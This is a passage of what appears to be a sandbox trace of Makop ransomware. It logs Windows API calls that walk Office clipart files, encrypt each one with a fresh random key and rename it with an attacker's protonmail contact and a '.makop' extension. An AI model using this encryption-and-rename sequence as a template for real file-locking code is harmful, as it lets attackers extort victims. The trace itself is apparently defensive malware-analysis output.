param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.073] CloseHandle (hObject=0xf0) returned 1 [0109.073] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0109.073] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0109.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.075] GetProcessHeap () returned 0x48a0000 [0109.075] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.075] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.075] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.075] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.080] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.080] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.080] GetProcessHeap () returned 0x48a0000 [0109.080] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.080] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.080] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.080] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.080] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.080] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.081] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.081] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.081] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbc8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbc8, lpOverlapped=0x0) returned 1 [0109.082] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbd0) returned 1 [0109.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.082] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbd0, lpOverlapped=0x0) returned 1 [0109.082] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.082] SetEndOfFile (hFile=0xf0) returned 1 [0109.089] GetProcessHeap () returned 0x48a0000 [0109.089] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.089] GetProcessHeap () returned 0x48a0000 [0109.089] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.089] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.091] CloseHandle (hObject=0xf0) returned 1 [0109.091] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0109.091] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0109.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.092] GetProcessHeap () returned 0x48a0000 [0109.092] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.092] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.092] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.092] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.097] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.097] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.097] GetProcessHeap () returned 0x48a0000 [0109.097] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.097] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.097] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.097] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.098] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.098] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.098] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.098] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.098] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.098] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xec4, lpOverlapped=0x0) returned 1 [0109.099] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xed0, dwBufLen=0xed0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xed0) returned 1 [0109.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.099] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xed0, lpOverlapped=0x0) returned 1 [0109.099] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.099] SetEndOfFile (hFile=0xf0) returned 1 [0109.106] GetProcessHeap () returned 0x48a0000 [0109.106] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.106] GetProcessHeap () returned 0x48a0000 [0109.106] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.106] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.108] CloseHandle (hObject=0xf0) returned 1 [0109.108] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0109.108] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0109.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.109] GetProcessHeap () returned 0x48a0000 [0109.109] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.109] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.109] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.109] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.113] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.114] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.114] GetProcessHeap () returned 0x48a0000 [0109.114] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.114] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.114] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.114] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.114] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.114] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.115] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.115] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.115] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.115] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.115] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.115] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.115] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1044, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1044, lpOverlapped=0x0) returned 1 [0109.117] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1050, dwBufLen=0x1050 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1050) returned 1 [0109.117] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.117] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1050, lpOverlapped=0x0) returned 1 [0109.117] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.117] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.117] SetEndOfFile (hFile=0xf0) returned 1 [0109.125] GetProcessHeap () returned 0x48a0000 [0109.125] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.125] GetProcessHeap () returned 0x48a0000 [0109.125] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.125] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.126] CloseHandle (hObject=0xf0) returned 1 [0109.127] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0109.127] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0109.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.127] GetProcessHeap () returned 0x48a0000 [0109.127] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.127] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.128] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.128] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.132] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.132] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.132] GetProcessHeap () returned 0x48a0000 [0109.132] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.132] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.132] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.132] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.133] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.133] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.133] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.133] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.133] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.134] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x32c, lpOverlapped=0x0) returned 1 [0109.134] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x330, dwBufLen=0x330 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x330) returned 1 [0109.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.134] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x330, 